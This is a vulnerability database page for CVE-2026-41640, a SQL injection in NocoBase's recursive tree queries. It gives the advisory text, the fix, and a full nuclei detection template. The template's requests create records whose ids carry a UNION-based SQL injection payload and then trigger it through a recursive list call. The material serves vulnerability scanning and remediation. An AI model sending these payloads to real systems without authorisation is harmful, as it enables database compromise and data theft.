HexBrain

Browse / CVEs / CVE-2026-41640

CVE-2026-41640· nocobase / nocobase· CWE-89

NocoBase - SQL Injection

highseverity
7.5CVSS score
1.9%likelihood of exploitation, next 30 days
80%of all CVEs are less likely
Readycheck to confirm it

NocoBase versions prior to 2.0.39 contain a SQL injection vulnerability in the @nocobase/database package. The queryParentSQL function in eager-loading-tree.ts constructs a recursive CTE query by directly concatenating user-controlled primary key values into the SQL WHERE IN clause without parameterization. An authenticated attacker with record creation permissions on a tree collection with string-type primary keys can inject arbitrary SQL via crafted record identifiers, enabling full database compromise including data exfiltration and modification.

Fix

Upgrade NocoBase to version 2.0.39 or later which uses parameterized bind variables instead of string concatenation in recursive eager loading queries.

How to confirm it

Send: POST /api/auth:signIn
Positive when: status_code == 200 and contains(content_type, "application/json")
Send: POST /api/collections:create ; POST /api/{{cname}}:create
Positive when: status_code == 200
Send: GET /api/{{cname}}:list?appends[]=parent(recursively%3Dtrue)&pageSize=100
Positive when: status_code == 500 and contains(body, "invalid input syntax for type integer")
Send: GET {{BaseURL}}/api/app:getInfo
Positive when: status_code == 200 and contains_all(body, "\"dialect\"", "\"version\"") and compare_versions(version, "<=2.0.32")

Run it with nuclei: nuclei -id CVE-2026-41640 -u <target>

The full check
id: CVE-2026-41640

info:
  name: NocoBase - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    NocoBase versions prior to 2.0.39 contain a SQL injection vulnerability in the @nocobase/database package. The queryParentSQL function in eager-loading-tree.ts constructs a recursive CTE query by directly concatenating user-controlled primary key values into the SQL WHERE IN clause without parameterization. An authenticated attacker with record creation permissions on a tree collection with string-type primary keys can inject arbitrary SQL via crafted record identifiers, enabling full database compromise including data exfiltration and modification.
  remediation:
    Upgrade NocoBase to version 2.0.39 or later which uses parameterized bind variables instead of string concatenation in recursive eager loading queries.
  reference:
    - https://github.com/advisories/GHSA-4948-f92q-f432
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41640
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2026-41640
    epss-score: 0.01875
    epss-percentile: 0.79576
    cwe-id: CWE-89
  metadata:
    max-request: 7
    verified: true
    vendor: nocobase
    product: nocobase
  tags: cve,cve2026,sqli,nocobase,sqli,authenticated

flow: http(1) && http(2) && http(3) || http(4)

variables:
  cname: "{{to_lower(rand_base(8))}}"

http:
  - raw:
      - |
        POST /api/auth:signIn HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"account":"{{username}}","password":"{{password}}"}

    extractors:
      - type: regex
        name: token
        part: body
        internal: true
        regex:
          - '"token":"([^"]+)"'
        group: 1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/collections:create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"name":"{{cname}}","tree":"adjacencyList","fields":[{"name":"id","type":"string","primaryKey":true,"interface":"input"},{"name":"title","type":"string","interface":"input"},{"name":"parent","type":"belongsTo","target":"{{cname}}","foreignKey":"parentId","targetKey":"id","treeParent":true},{"name":"children","type":"hasMany","target":"{{cname}}","foreignKey":"parentId","sourceKey":"id","treeChildren":true}]}

      - |
        POST /api/{{cname}}:create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"id":"safe_root","title":"Root Node"}

      - |
        POST /api/{{cname}}:create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"id":"safe_root') UNION ALL SELECT CAST(version() AS integer)::text, NULL::text WHERE ('1'='1","title":"injection","parentId":"safe_root"}

      - |
        POST /api/{{cname}}:create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"id":"leaf_node","title":"leaf","parentId":"safe_root') UNION ALL SELECT CAST(version() AS integer)::text, NULL::text WHERE ('1'='1"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        GET /api/{{cname}}:list?appends[]=parent(recursively%3Dtrue)&pageSize=100 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(body, "invalid input syntax for type integer")'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/api/app:getInfo"

    extractors:
      - type: regex
        name: version
        part: body
        regex:
          - '"version":"(.*?)"'
        group: 1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"dialect\"", "\"version\"")'
          - 'compare_versions(version, "<=2.0.32")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from